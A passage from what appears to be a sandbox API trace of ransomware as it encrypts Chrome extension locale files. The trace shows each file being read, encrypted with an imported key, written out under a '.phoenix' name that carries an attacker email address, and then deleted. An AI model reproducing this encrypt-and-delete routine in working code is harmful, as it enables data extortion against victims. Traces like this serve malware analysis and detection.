	[0264.374] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.375] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0264.375] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.375] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4827, lpOverlapped=0x0) returned 1
	[0264.408] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4830, dwBufLen=0x4830 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4830) returned 1
	[0264.408] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4830, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4830, lpOverlapped=0x0) returned 1
	[0264.410] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0264.410] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.410] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.410] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.410] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.410] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.410] CloseHandle (hObject=0x2f0) returned 1
	[0264.410] CloseHandle (hObject=0x308) returned 1
	[0264.410] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json")) returned 1
	[0264.412] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.412] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.413] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=19299) returned 1
	[0264.413] CloseHandle (hObject=0x308) returned 1
	[0264.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json")) returned 0x20
	[0264.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.413] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.413] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.413] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.413] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.414] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0264.414] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.414] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4b63, lpOverlapped=0x0) returned 1
	[0264.424] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4b70, dwBufLen=0x4b70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4b70) returned 1
	[0264.424] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4b70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4b70, lpOverlapped=0x0) returned 1
	[0264.433] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0264.433] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.433] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.433] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.433] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.433] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.433] CloseHandle (hObject=0x308) returned 1
	[0264.433] CloseHandle (hObject=0x2f0) returned 1
	[0264.433] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\bg\\messages.json")) returned 1
	[0264.435] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.435] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.435] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16477) returned 1
	[0264.435] CloseHandle (hObject=0x2f0) returned 1
	[0264.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json")) returned 0x20
	[0264.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.436] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.436] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.436] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.436] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.437] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0264.437] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.437] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x405d, lpOverlapped=0x0) returned 1
	[0264.454] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4060, dwBufLen=0x4060 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4060) returned 1
	[0264.454] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4060, lpOverlapped=0x0) returned 1
	[0264.455] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0264.455] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.455] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.455] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.455] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.455] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.455] CloseHandle (hObject=0x2f0) returned 1
	[0264.455] CloseHandle (hObject=0x308) returned 1
	[0264.455] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ca\\messages.json")) returned 1
	[0264.501] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.502] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16249) returned 1
	[0264.502] CloseHandle (hObject=0x308) returned 1
	[0264.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json")) returned 0x20
	[0264.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.502] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.502] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.504] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0264.504] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.504] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3f79, lpOverlapped=0x0) returned 1
	[0264.520] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f80, dwBufLen=0x3f80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f80) returned 1
	[0264.520] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3f80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3f80, lpOverlapped=0x0) returned 1
	[0264.522] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0264.522] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.522] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.522] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.522] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.522] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.522] CloseHandle (hObject=0x308) returned 1
	[0264.522] CloseHandle (hObject=0x2f0) returned 1
	[0264.522] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\da\\messages.json")) returned 1
	[0264.524] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.524] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=19198) returned 1
	[0264.525] CloseHandle (hObject=0x2f0) returned 1
	[0264.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json")) returned 0x20
	[0264.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.525] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.525] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.526] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0264.526] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.526] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4afe, lpOverlapped=0x0) returned 1
	[0264.576] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4b00, dwBufLen=0x4b00 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4b00) returned 1
	[0264.577] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4b00, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4b00, lpOverlapped=0x0) returned 1
	[0264.578] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0264.578] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
